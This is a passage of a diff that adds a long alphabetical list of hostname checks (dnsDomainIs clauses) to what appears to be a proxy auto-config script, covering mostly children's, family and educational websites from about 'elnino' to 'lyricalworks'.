+ || dnsDomainIs(host, "www.elnino.com")
+ || dnsDomainIs(host, "www.elok.com")
+ || dnsDomainIs(host, "www.emf.net")
+ || dnsDomainIs(host, "www.emsphone.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "www.en.com")
+ || dnsDomainIs(host, "www.enature.com")
+ || dnsDomainIs(host, "www.enchantedlearning.com")
+ || dnsDomainIs(host, "www.encyclopedia.com")
+ || dnsDomainIs(host, "www.endex.com")
+ || dnsDomainIs(host, "www.enjoyillinois.com")
+ || dnsDomainIs(host, "www.enn.com")
+ || dnsDomainIs(host, "www.enriqueig.com")
+ || dnsDomainIs(host, "www.enteract.com")
+ || dnsDomainIs(host, "www.epals.com")
+ || dnsDomainIs(host, "www.equine-world.co.uk")
+ || dnsDomainIs(host, "www.eric-carle.com")
+ || dnsDomainIs(host, "www.ericlindros.net")
+ || dnsDomainIs(host, "www.escape.com")
+ || dnsDomainIs(host, "www.eskimo.com")
+ || dnsDomainIs(host, "www.essentialsofmusic.com")
+ || dnsDomainIs(host, "www.etch-a-sketch.com")
+ || dnsDomainIs(host, "www.ethanallen.together.com")
+ || dnsDomainIs(host, "www.etoys.com")
+ || dnsDomainIs(host, "www.eurekascience.com")
+ || dnsDomainIs(host, "www.euronet.nl")
+ || dnsDomainIs(host, "www.everyrule.com")
+ || dnsDomainIs(host, "www.ex.ac.uk")
+ || dnsDomainIs(host, "www.excite.com")
+ || dnsDomainIs(host, "www.execpc.com")
+ || dnsDomainIs(host, "www.execulink.com")
+ || dnsDomainIs(host, "www.exn.net")
+ || dnsDomainIs(host, "www.expa.hvu.nl")
+ || dnsDomainIs(host, "www.expage.com")
+ || dnsDomainIs(host, "www.explode.to")
+ || dnsDomainIs(host, "www.explorescience.com")
+ || dnsDomainIs(host, "www.explorezone.com")
+ || dnsDomainIs(host, "www.extremescience.com")
+ || dnsDomainIs(host, "www.eyelid.co.uk")
+ || dnsDomainIs(host, "www.eyeneer.com")
+ || dnsDomainIs(host, "www.eyesofachild.com")
+ || dnsDomainIs(host, "www.eyesofglory.com")
+ || dnsDomainIs(host, "www.ezschool.com")
+ || dnsDomainIs(host, "www.f1-live.com")
+ || dnsDomainIs(host, "www.fables.co.uk")
+ || dnsDomainIs(host, "www.factmonster.com")
+ || dnsDomainIs(host, "www.fairygodmother.com")
+ || dnsDomainIs(host, "www.familybuzz.com")
+ || dnsDomainIs(host, "www.familygames.com")
+ || dnsDomainIs(host, "www.familygardening.com")
+ || dnsDomainIs(host, "www.familyinternet.com")
+ || dnsDomainIs(host, "www.familymoney.com")
+ || dnsDomainIs(host, "www.familyplay.com")
+ || dnsDomainIs(host, "www.famousbirthdays.com")
+ || dnsDomainIs(host, "www.fandom.com")
+ || dnsDomainIs(host, "www.fansites.com")
+ || dnsDomainIs(host, "www.faoschwarz.com")
+ || dnsDomainIs(host, "www.fbe.unsw.edu.au")
+ || dnsDomainIs(host, "www.fcps.k12.va.us")
+ || dnsDomainIs(host, "www.fellersartsfactory.com")
+ || dnsDomainIs(host, "www.ferrari.it")
+ || dnsDomainIs(host, "www.fertnel.com")
+ || dnsDomainIs(host, "www.fh-konstanz.de")
+ || dnsDomainIs(host, "www.fhw.gr")
+ || dnsDomainIs(host, "www.fibblesnork.com")
+ || dnsDomainIs(host, "www.fidnet.com")
+ || dnsDomainIs(host, "www.fieldhockey.com")
+ || dnsDomainIs(host, "www.fieldhockeytraining.com")
+ || dnsDomainIs(host, "www.fieler.com")
+ || dnsDomainIs(host, "www.finalfour.net")
+ || dnsDomainIs(host, "www.finifter.com")
+ || dnsDomainIs(host, "www.fireworks-safety.com")
+ || dnsDomainIs(host, "www.firstcut.com")
+ || dnsDomainIs(host, "www.firstnations.com")
+ || dnsDomainIs(host, "www.fishbc.com")
+ || dnsDomainIs(host, "www.fisher-price.com")
+ || dnsDomainIs(host, "www.fisheyeview.com")
+ || dnsDomainIs(host, "www.fishgeeks.com")
+ || dnsDomainIs(host, "www.fishindex.com")
+ || dnsDomainIs(host, "www.fitzgeraldstudio.com")
+ || dnsDomainIs(host, "www.flags.net")
+ || dnsDomainIs(host, "www.flail.com")
+ || dnsDomainIs(host, "www.flamarlins.com")
+ || dnsDomainIs(host, "www.flausa.com")
+ || dnsDomainIs(host, "www.floodlight-findings.com")
+ || dnsDomainIs(host, "www.floridahistory.com")
+ || dnsDomainIs(host, "www.floridapanthers.com")
+ || dnsDomainIs(host, "www.fng.fi")
+ || dnsDomainIs(host, "www.foodsci.uoguelph.ca")
+ || dnsDomainIs(host, "www.foremost.com")
+ || dnsDomainIs(host, "www.fortress.am")
+ || dnsDomainIs(host, "www.fortunecity.com")
+ || dnsDomainIs(host, "www.fosterclub.com")
+ || dnsDomainIs(host, "www.foundus.com")
+ || dnsDomainIs(host, "www.fourmilab.ch")
+ || dnsDomainIs(host, "www.fox.com")
+ || dnsDomainIs(host, "www.foxfamilychannel.com")
+ || dnsDomainIs(host, "www.foxhome.com")
+ || dnsDomainIs(host, "www.foxkids.com")
+ || dnsDomainIs(host, "www.franceway.com")
+ || dnsDomainIs(host, "www.fred.net")
+ || dnsDomainIs(host, "www.fredpenner.com")
+ || dnsDomainIs(host, "www.freedomknot.com")
+ || dnsDomainIs(host, "www.freejigsawpuzzles.com")
+ || dnsDomainIs(host, "www.freenet.edmonton.ab.ca")
+ || dnsDomainIs(host, "www.frii.com")
+ || dnsDomainIs(host, "www.frisbee.com")
+ || dnsDomainIs(host, "www.fritolay.com")
+ || dnsDomainIs(host, "www.frogsonice.com")
+ || dnsDomainIs(host, "www.frontiernet.net")
+ || dnsDomainIs(host, "www.fs.fed.us")
+ || dnsDomainIs(host, "www.funattic.com")
+ || dnsDomainIs(host, ".funbrain.com")
+ || dnsDomainIs(host, "www.fundango.com")
+ || dnsDomainIs(host, "www.funisland.com")
+ || dnsDomainIs(host, "www.funkandwagnalls.com")
+ || dnsDomainIs(host, "www.funorama.com")
+ || dnsDomainIs(host, "www.funschool.com")
+ || dnsDomainIs(host, "www.funster.com")
+ || dnsDomainIs(host, "www.furby.com")
+ || dnsDomainIs(host, "www.fusion.org.uk")
+ || dnsDomainIs(host, "www.futcher.com")
+ || dnsDomainIs(host, "www.futurescan.com")
+ || dnsDomainIs(host, "www.fyi.net")
+ || dnsDomainIs(host, "www.gailgibbons.com")
+ || dnsDomainIs(host, "www.galegroup.com")
+ || dnsDomainIs(host, "www.gambia.com")
+ || dnsDomainIs(host, "www.gamecabinet.com")
+ || dnsDomainIs(host, "www.gamecenter.com")
+ || dnsDomainIs(host, "www.gamefaqs.com")
+ || dnsDomainIs(host, "www.garfield.com")
+ || dnsDomainIs(host, "www.garyharbo.com")
+ || dnsDomainIs(host, "www.gatefish.com")
+ || dnsDomainIs(host, "www.gateway-va.com")
+ || dnsDomainIs(host, "www.gazillionaire.com")
+ || dnsDomainIs(host, "www.gearhead.com")
+ || dnsDomainIs(host, "www.genesplicing.com")
+ || dnsDomainIs(host, "www.genhomepage.com")
+ || dnsDomainIs(host, "www.geobop.com")
+ || dnsDomainIs(host, "www.geocities.com")
+ || dnsDomainIs(host, "www.geographia.com")
+ || dnsDomainIs(host, "www.georgeworld.com")
+ || dnsDomainIs(host, "www.georgian.net")
+ || dnsDomainIs(host, "www.german-way.com")
+ || dnsDomainIs(host, "www.germanfortravellers.com")
+ || dnsDomainIs(host, "www.germantown.k12.il.us")
+ || dnsDomainIs(host, "www.germany-tourism.de")
+ || dnsDomainIs(host, "www.getmusic.com")
+ || dnsDomainIs(host, "www.gettysburg.com")
+ || dnsDomainIs(host, "www.ghirardellisq.com")
+ || dnsDomainIs(host, "www.ghosttowngallery.com")
+ || dnsDomainIs(host, "www.ghosttownsusa.com")
+ || dnsDomainIs(host, "www.giants.com")
+ || dnsDomainIs(host, "www.gibraltar.gi")
+ || dnsDomainIs(host, "www.gigglepoetry.com")
+ || dnsDomainIs(host, "www.gilchriststudios.com")
+ || dnsDomainIs(host, "www.gillslap.freeserve.co.uk")
+ || dnsDomainIs(host, "www.gilmer.net")
+ || dnsDomainIs(host, "www.gio.gov.tw")
+ || dnsDomainIs(host, "www.girltech.com")
+ || dnsDomainIs(host, "www.girlzone.com")
+ || dnsDomainIs(host, "www.globalgang.org.uk")
+ || dnsDomainIs(host, "www.globalindex.com")
+ || dnsDomainIs(host, "www.globalinfo.com")
+ || dnsDomainIs(host, "www.gloriafan.com")
+ || dnsDomainIs(host, "www.gms.ocps.k12.fl.us")
+ || dnsDomainIs(host, "www.go-go-diggity.com")
+ || dnsDomainIs(host, "www.goals.com")
+ || dnsDomainIs(host, "www.godiva.com")
+ || dnsDomainIs(host, "www.golden-retriever.com")
+ || dnsDomainIs(host, "www.goldenbooks.com")
+ || dnsDomainIs(host, "www.goldeneggs.com.au")
+ || dnsDomainIs(host, "www.golfonline.com")
+ || dnsDomainIs(host, "www.goobo.com")
+ || dnsDomainIs(host, "www.goodearthgraphics.com")
+ || dnsDomainIs(host, "www.goodyear.com")
+ || dnsDomainIs(host, "www.gopbi.com")
+ || dnsDomainIs(host, "www.gorge.net")
+ || dnsDomainIs(host, "www.gorp.com")
+ || dnsDomainIs(host, "www.got-milk.com")
+ || dnsDomainIs(host, "www.gov.ab.ca")
+ || dnsDomainIs(host, "www.gov.nb.ca")
+ || dnsDomainIs(host, "www.grammarbook.com")
+ || dnsDomainIs(host, "www.grammarlady.com")
+ || dnsDomainIs(host, "www.grandparents-day.com")
+ || dnsDomainIs(host, "www.granthill.com")
+ || dnsDomainIs(host, "www.grayweb.com")
+ || dnsDomainIs(host, "www.greatbuildings.com")
+ || dnsDomainIs(host, "www.greatkids.com")
+ || dnsDomainIs(host, "www.greatscience.com")
+ || dnsDomainIs(host, "www.greeceny.com")
+ || dnsDomainIs(host, "www.greenkeepers.com")
+ || dnsDomainIs(host, "www.greylabyrinth.com")
+ || dnsDomainIs(host, "www.grimmy.com")
+ || dnsDomainIs(host, "www.gsrg.nmh.ac.uk")
+ || dnsDomainIs(host, "www.gti.net")
+ || dnsDomainIs(host, "www.guinnessworldrecords.com")
+ || dnsDomainIs(host, "www.guitar.net")
+ || dnsDomainIs(host, "www.guitarplaying.com")
+ || dnsDomainIs(host, "www.gumbyworld.com")
+ || dnsDomainIs(host, "www.gurlwurld.com")
+ || dnsDomainIs(host, "www.gwi.net")
+ || dnsDomainIs(host, "www.gymn-forum.com")
+ || dnsDomainIs(host, "www.gzkidzone.com")
+ || dnsDomainIs(host, "www.haemibalgassi.com")
+ || dnsDomainIs(host, "www.hairstylist.com")
+ || dnsDomainIs(host, "www.halcyon.com")
+ || dnsDomainIs(host, "www.halifax.cbc.ca")
+ || dnsDomainIs(host, "www.halloween-online.com")
+ || dnsDomainIs(host, "www.halloweenkids.com")
+ || dnsDomainIs(host, "www.halloweenmagazine.com")
+ || dnsDomainIs(host, "www.hamill.co.uk")
+ || dnsDomainIs(host, "www.hamsterdance2.com")
+ || dnsDomainIs(host, "www.hamsters.co.uk")
+ || dnsDomainIs(host, "www.hamstertours.com")
+ || dnsDomainIs(host, "www.handsonmath.com")
+ || dnsDomainIs(host, "www.handspeak.com")
+ || dnsDomainIs(host, "www.hansonline.com")
+ || dnsDomainIs(host, "www.happychild.org.uk")
+ || dnsDomainIs(host, "www.happyfamilies.com")
+ || dnsDomainIs(host, "www.happytoy.com")
+ || dnsDomainIs(host, "www.harley-davidson.com")
+ || dnsDomainIs(host, "www.harmonicalessons.com")
+ || dnsDomainIs(host, "www.harperchildrens.com")
+ || dnsDomainIs(host, "www.harvey.com")
+ || dnsDomainIs(host, "www.hasbro-interactive.com")
+ || dnsDomainIs(host, "www.haynet.net")
+ || dnsDomainIs(host, "www.hbc.com")
+ || dnsDomainIs(host, "www.hblewis.com")
+ || dnsDomainIs(host, "www.hbook.com")
+ || dnsDomainIs(host, "www.he.net")
+ || dnsDomainIs(host, "www.headbone.com")
+ || dnsDomainIs(host, "www.healthatoz.com")
+ || dnsDomainIs(host, "www.healthypet.com")
+ || dnsDomainIs(host, "www.heartfoundation.com.au")
+ || dnsDomainIs(host, "www.heatersworld.com")
+ || dnsDomainIs(host, "www.her-online.com")
+ || dnsDomainIs(host, "www.heroesofhistory.com")
+ || dnsDomainIs(host, "www.hersheypa.com")
+ || dnsDomainIs(host, "www.hersheys.com")
+ || dnsDomainIs(host, "www.hevanet.com")
+ || dnsDomainIs(host, "www.heynetwork.com")
+ || dnsDomainIs(host, "www.hgo.com")
+ || dnsDomainIs(host, "www.hhof.com")
+ || dnsDomainIs(host, "www.hideandseekpuppies.com")
+ || dnsDomainIs(host, "www.hifusion.com")
+ || dnsDomainIs(host, "www.highbridgepress.com")
+ || dnsDomainIs(host, "www.his.com")
+ || dnsDomainIs(host, "www.history.navy.mil")
+ || dnsDomainIs(host, "www.historychannel.com")
+ || dnsDomainIs(host, "www.historyhouse.com")
+ || dnsDomainIs(host, "www.historyplace.com")
+ || dnsDomainIs(host, "www.hisurf.com")
+ || dnsDomainIs(host, "www.hiyah.com")
+ || dnsDomainIs(host, "www.hmnet.com")
+ || dnsDomainIs(host, "www.hoboes.com")
+ || dnsDomainIs(host, "www.hockeydb.com")
+ || dnsDomainIs(host, "www.hohnerusa.com")
+ || dnsDomainIs(host, "www.holidaychannel.com")
+ || dnsDomainIs(host, "www.holidayfestival.com")
+ || dnsDomainIs(host, "www.holidays.net")
+ || dnsDomainIs(host, "www.hollywood.com")
+ || dnsDomainIs(host, "www.holoworld.com")
+ || dnsDomainIs(host, "www.homepagers.com")
+ || dnsDomainIs(host, "www.homeschoolzone.com")
+ || dnsDomainIs(host, "www.homestead.com")
+ || dnsDomainIs(host, "www.homeworkspot.com")
+ || dnsDomainIs(host, "www.hompro.com")
+ || dnsDomainIs(host, "www.honey.com")
+ || dnsDomainIs(host, "www.hooked.net")
+ || dnsDomainIs(host, "www.hoophall.com")
+ || dnsDomainIs(host, "www.hooverdam.com")
+ || dnsDomainIs(host, "www.hopepaul.com")
+ || dnsDomainIs(host, "www.horse-country.com")
+ || dnsDomainIs(host, "www.horsechat.com")
+ || dnsDomainIs(host, "www.horsefun.com")
+ || dnsDomainIs(host, "www.horus.ics.org.eg")
+ || dnsDomainIs(host, "www.hotbraille.com")
+ || dnsDomainIs(host, "www.hotwheels.com")
+ || dnsDomainIs(host, "www.howstuffworks.com")
+ || dnsDomainIs(host, "www.hpdigitalbookclub.com")
+ || dnsDomainIs(host, "www.hpj.com")
+ || dnsDomainIs(host, "www.hpl.hp.com")
+ || dnsDomainIs(host, "www.hpl.lib.tx.us")
+ || dnsDomainIs(host, "www.hpnetwork.f2s.com")
+ || dnsDomainIs(host, "www.hsswp.com")
+ || dnsDomainIs(host, "www.hsx.com")
+ || dnsDomainIs(host, "www.humboldt1.com")
+ || dnsDomainIs(host, "www.humongous.com")
+ || dnsDomainIs(host, "www.humph3.freeserve.co.uk")
+ || dnsDomainIs(host, "www.humphreybear.com ")
+ || dnsDomainIs(host, "www.hurricanehunters.com")
+ || dnsDomainIs(host, "www.hyperhistory.com")
+ || dnsDomainIs(host, "www.i2k.com")
+ || dnsDomainIs(host, "www.ibhof.com")
+ || dnsDomainIs(host, "www.ibiscom.com")
+ || dnsDomainIs(host, "www.ibm.com")
+ || dnsDomainIs(host, "www.icangarden.com")
+ || dnsDomainIs(host, "www.icecreamusa.com")
+ || dnsDomainIs(host, "www.icn.co.uk")
+ || dnsDomainIs(host, "www.icomm.ca")
+ || dnsDomainIs(host, "www.idfishnhunt.com")
+ || dnsDomainIs(host, "www.iditarod.com")
+ || dnsDomainIs(host, "www.iei.net")
+ || dnsDomainIs(host, "www.iemily.com")
+ || dnsDomainIs(host, "www.iir.com")
+ || dnsDomainIs(host, "www.ika.com")
+ || dnsDomainIs(host, "www.ikoala.com")
+ || dnsDomainIs(host, "www.iln.net")
+ || dnsDomainIs(host, "www.imagine5.com")
+ || dnsDomainIs(host, "www.imes.boj.or.jp")
+ || dnsDomainIs(host, "www.inch.com")
+ || dnsDomainIs(host, "www.incwell.com")
+ || dnsDomainIs(host, "www.indian-river.fl.us")
+ || dnsDomainIs(host, "www.indians.com")
+ || dnsDomainIs(host, "www.indo.com")
+ || dnsDomainIs(host, "www.indyracingleague.com")
+ || dnsDomainIs(host, "www.indyzoo.com")
+ || dnsDomainIs(host, "www.info-canada.com")
+ || dnsDomainIs(host, "www.infomagic.net")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+ || dnsDomainIs(host, "www.jedinet.com")
+ || dnsDomainIs(host, "www.jenniferlopez.com")
+ || dnsDomainIs(host, "www.jlpanagopoulos.com")
+ || dnsDomainIs(host, "www.jmarshall.com")
+ || dnsDomainIs(host, "www.jmccall.demon.co.uk")
+ || dnsDomainIs(host, "www.jmts.com")
+ || dnsDomainIs(host, "www.joesherlock.com")
+ || dnsDomainIs(host, "www.jorvik-viking-centre.co.uk")
+ || dnsDomainIs(host, "www.joycecarolthomas.com")
+ || dnsDomainIs(host, "www.joycone.com")
+ || dnsDomainIs(host, "www.joyrides.com")
+ || dnsDomainIs(host, "www.jps.net")
+ || dnsDomainIs(host, "www.jspub.com")
+ || dnsDomainIs(host, "www.judaica.com")
+ || dnsDomainIs(host, "www.judyblume.com")
+ || dnsDomainIs(host, "www.julen.net")
+ || dnsDomainIs(host, "www.june29.com")
+ || dnsDomainIs(host, "www.juneteenth.com")
+ || dnsDomainIs(host, "www.justuskidz.com")
+ || dnsDomainIs(host, "www.justwomen.com")
+ || dnsDomainIs(host, "www.jwindow.net")
+ || dnsDomainIs(host, "www.k9web.com")
+ || dnsDomainIs(host, "www.kaercher.de")
+ || dnsDomainIs(host, "www.kaleidoscapes.com")
+ || dnsDomainIs(host, "www.kapili.com")
+ || dnsDomainIs(host, "www.kcchiefs.com")
+ || dnsDomainIs(host, "www.kcpl.lib.mo.us")
+ || dnsDomainIs(host, "www.kcroyals.com")
+ || dnsDomainIs(host, "www.kcsd.k12.pa.us")
+ || dnsDomainIs(host, "www.kdu.com")
+ || dnsDomainIs(host, "www.kelloggs.com")
+ || dnsDomainIs(host, "www.kentuckyfriedchicken.com")
+ || dnsDomainIs(host, "www.kenyaweb.com")
+ || dnsDomainIs(host, "www.keypals.com")
+ || dnsDomainIs(host, "www.kfn.com")
+ || dnsDomainIs(host, "www.kid-at-art.com")
+ || dnsDomainIs(host, "www.kid-channel.com")
+ || dnsDomainIs(host, "www.kidallergy.com")
+ || dnsDomainIs(host, "www.kidbibs.com")
+ || dnsDomainIs(host, "www.kidcomics.com")
+ || dnsDomainIs(host, "www.kiddesafety.com")
+ || dnsDomainIs(host, "www.kiddiecampus.com")
+ || dnsDomainIs(host, "www.kididdles.com")
+ || dnsDomainIs(host, "www.kidnews.com")
+ || dnsDomainIs(host, "www.kidocracy.com")
+ || dnsDomainIs(host, "www.kidport.com")
+ || dnsDomainIs(host, "www.kids-channel.co.uk")
+ || dnsDomainIs(host, "www.kids-drawings.com")
+ || dnsDomainIs(host, "www.kids-in-mind.com")
+ || dnsDomainIs(host, "www.kids4peace.com")
+ || dnsDomainIs(host, "www.kidsandcomputers.com")
+ || dnsDomainIs(host, "www.kidsart.co.uk")
+ || dnsDomainIs(host, "www.kidsastronomy.com")
+ || dnsDomainIs(host, "www.kidsbank.com")
+ || dnsDomainIs(host, "www.kidsbookshelf.com")
+ || dnsDomainIs(host, "www.kidsclick.com")
+ || dnsDomainIs(host, "www.kidscom.com")
+ || dnsDomainIs(host, "www.kidscook.com")
+ || dnsDomainIs(host, "www.kidsdoctor.com")
+ || dnsDomainIs(host, "www.kidsdomain.com")
+ || dnsDomainIs(host, "www.kidsfarm.com")
+ || dnsDomainIs(host, "www.kidsfreeware.com")
+ || dnsDomainIs(host, "www.kidsfun.tv")
+ || dnsDomainIs(host, "www.kidsgolf.com")
+ || dnsDomainIs(host, "www.kidsgowild.com")
+ || dnsDomainIs(host, "www.kidsjokes.com")
+ || dnsDomainIs(host, "www.kidsloveamystery.com")
+ || dnsDomainIs(host, "www.kidsmoneycents.com")
+ || dnsDomainIs(host, "www.kidsnewsroom.com")
+ || dnsDomainIs(host, "www.kidsource.com")
+ || dnsDomainIs(host, "www.kidsparties.com")
+ || dnsDomainIs(host, "www.kidsplaytown.com")
+ || dnsDomainIs(host, "www.kidsreads.com")
+ || dnsDomainIs(host, "www.kidsreport.com")
+ || dnsDomainIs(host, "www.kidsrunning.com")
+ || dnsDomainIs(host, "www.kidstamps.com")
+ || dnsDomainIs(host, "www.kidsvideogames.com")
+ || dnsDomainIs(host, "www.kidsway.com")
+ || dnsDomainIs(host, "www.kidswithcancer.com")
+ || dnsDomainIs(host, "www.kidszone.ourfamily.com")
+ || dnsDomainIs(host, "www.kidzup.com")
+ || dnsDomainIs(host, "www.kinderart.com")
+ || dnsDomainIs(host, "www.kineticcity.com")
+ || dnsDomainIs(host, "www.kings.k12.ca.us")
+ || dnsDomainIs(host, "www.kiplinger.com")
+ || dnsDomainIs(host, "www.kiwirecovery.org.nz")
+ || dnsDomainIs(host, "www.klipsan.com")
+ || dnsDomainIs(host, "www.klutz.com")
+ || dnsDomainIs(host, "www.kn.pacbell.com")
+ || dnsDomainIs(host, "www.knex.com")
+ || dnsDomainIs(host, "www.knowledgeadventure.com")
+ || dnsDomainIs(host, "www.knto.or.kr")
+ || dnsDomainIs(host, "www.kodak.com")
+ || dnsDomainIs(host, "www.konica.co.jp")
+ || dnsDomainIs(host, "www.kraftfoods.com")
+ || dnsDomainIs(host, "www.kudzukids.com")
+ || dnsDomainIs(host, "www.kulichki.com")
+ || dnsDomainIs(host, "www.kuttu.com")
+ || dnsDomainIs(host, "www.kv5.com")
+ || dnsDomainIs(host, "www.kyes-world.com")
+ || dnsDomainIs(host, "www.kyohaku.go.jp")
+ || dnsDomainIs(host, "www.kyrene.k12.az.us")
+ || dnsDomainIs(host, "www.kz")
+ || dnsDomainIs(host, "www.la-hq.org.uk")
+ || dnsDomainIs(host, "www.labs.net")
+ || dnsDomainIs(host, "www.labyrinth.net.au")
+ || dnsDomainIs(host, "www.laffinthedark.com")
+ || dnsDomainIs(host, "www.lakhota.com")
+ || dnsDomainIs(host, "www.lakings.com")
+ || dnsDomainIs(host, "www.lam.mus.ca.us")
+ || dnsDomainIs(host, "www.lampstras.k12.pa.us")
+ || dnsDomainIs(host, "www.lams.losalamos.k12.nm.us")
+ || dnsDomainIs(host, "www.landofcadbury.ca")
+ || dnsDomainIs(host, "www.larry-boy.com")
+ || dnsDomainIs(host, "www.lasersite.com")
+ || dnsDomainIs(host, "www.last-word.com")
+ || dnsDomainIs(host, "www.latimes.com")
+ || dnsDomainIs(host, "www.laughon.com")
+ || dnsDomainIs(host, "www.laurasmidiheaven.com")
+ || dnsDomainIs(host, "www.lausd.k12.ca.us")
+ || dnsDomainIs(host, "www.learn2.com")
+ || dnsDomainIs(host, "www.learn2type.com")
+ || dnsDomainIs(host, "www.learnfree-hobbies.com")
+ || dnsDomainIs(host, "www.learningkingdom.com")
+ || dnsDomainIs(host, "www.learningplanet.com")
+ || dnsDomainIs(host, "www.leftjustified.com")
+ || dnsDomainIs(host, "www.legalpadjr.com")
+ || dnsDomainIs(host, "www.legendarysurfers.com")
+ || dnsDomainIs(host, "www.legends.dm.net")
+ || dnsDomainIs(host, "www.legis.state.wi.us")
+ || dnsDomainIs(host, "www.legis.state.wv.us")
+ || dnsDomainIs(host, "www.lego.com")
+ || dnsDomainIs(host, "www.leje.com")
+ || dnsDomainIs(host, "www.leonardodicaprio.com")
+ || dnsDomainIs(host, "www.lessonplanspage.com")
+ || dnsDomainIs(host, "www.letour.fr")
+ || dnsDomainIs(host, "www.levins.com")
+ || dnsDomainIs(host, "www.levistrauss.com")
+ || dnsDomainIs(host, "www.libertystatepark.com")
+ || dnsDomainIs(host, "www.libraryspot.com")
+ || dnsDomainIs(host, "www.lifelong.com")
+ || dnsDomainIs(host, "www.lighthouse.cc")
+ || dnsDomainIs(host, "www.lightlink.com")
+ || dnsDomainIs(host, "www.lightspan.com")
+ || dnsDomainIs(host, "www.lil-fingers.com")
+ || dnsDomainIs(host, "www.linc.or.jp")
+ || dnsDomainIs(host, "www.lindsaysbackyard.com")
+ || dnsDomainIs(host, "www.lindtchocolate.com")
+ || dnsDomainIs(host, "www.lineone.net")
+ || dnsDomainIs(host, "www.lionel.com")
+ || dnsDomainIs(host, "www.lisafrank.com")
+ || dnsDomainIs(host, "www.lissaexplains.com")
+ || dnsDomainIs(host, "www.literacycenter.net")
+ || dnsDomainIs(host, "www.littleartist.com")
+ || dnsDomainIs(host, "www.littlechiles.com")
+ || dnsDomainIs(host, "www.littlecritter.com")
+ || dnsDomainIs(host, "www.littlecrowtoys.com")
+ || dnsDomainIs(host, "www.littlehousebooks.com")
+ || dnsDomainIs(host, "www.littlejason.com")
+ || dnsDomainIs(host, "www.littleplanettimes.com")
+ || dnsDomainIs(host, "www.liveandlearn.com")
+ || dnsDomainIs(host, "www.loadstar.prometeus.net")
+ || dnsDomainIs(host, "www.localaccess.com")
+ || dnsDomainIs(host, "www.lochness.co.uk")
+ || dnsDomainIs(host, "www.lochness.scotland.net")
+ || dnsDomainIs(host, "www.logos.it")
+ || dnsDomainIs(host, "www.lonelyplanet.com")
+ || dnsDomainIs(host, "www.looklearnanddo.com")
+ || dnsDomainIs(host, "www.loosejocks.com")
+ || dnsDomainIs(host, "www.lost-worlds.com")
+ || dnsDomainIs(host, "www.love-story.com")
+ || dnsDomainIs(host, "www.lpga.com")
+ || dnsDomainIs(host, "www.lsjunction.com")
+ || dnsDomainIs(host, "www.lucasarts.com")
+ || dnsDomainIs(host, "www.lucent.com")
+ || dnsDomainIs(host, "www.lucie.com")
+ || dnsDomainIs(host, "www.lunaland.co.za")
+ || dnsDomainIs(host, "www.luth.se")
+ || dnsDomainIs(host, "www.lyricalworks.com")
+ || dnsDomainIs(host, "www.infoporium.com")
+ || dnsDomainIs(host, "www.infostuff.com")
+ || dnsDomainIs(host, "www.inhandmuseum.com")
+ || dnsDomainIs(host, "www.inil.com")
+ || dnsDomainIs(host, "www.inkspot.com")
+ || dnsDomainIs(host, "www.inkyfingers.com")
+ || dnsDomainIs(host, "www.innerauto.com")
+ || dnsDomainIs(host, "www.innerbody.com")
+ || dnsDomainIs(host, "www.inqpub.com")
+ || dnsDomainIs(host, "www.insecta-inspecta.com")
+ || dnsDomainIs(host, "www.insectclopedia.com")
+ || dnsDomainIs(host, "www.inside-mexico.com")
+ || dnsDomainIs(host, "www.insiders.com")
+ || dnsDomainIs(host, "www.insteam.com")
+ || dnsDomainIs(host, "www.intel.com")
+ || dnsDomainIs(host, "www.intellicast.com")
+ || dnsDomainIs(host, "www.interads.co.uk")
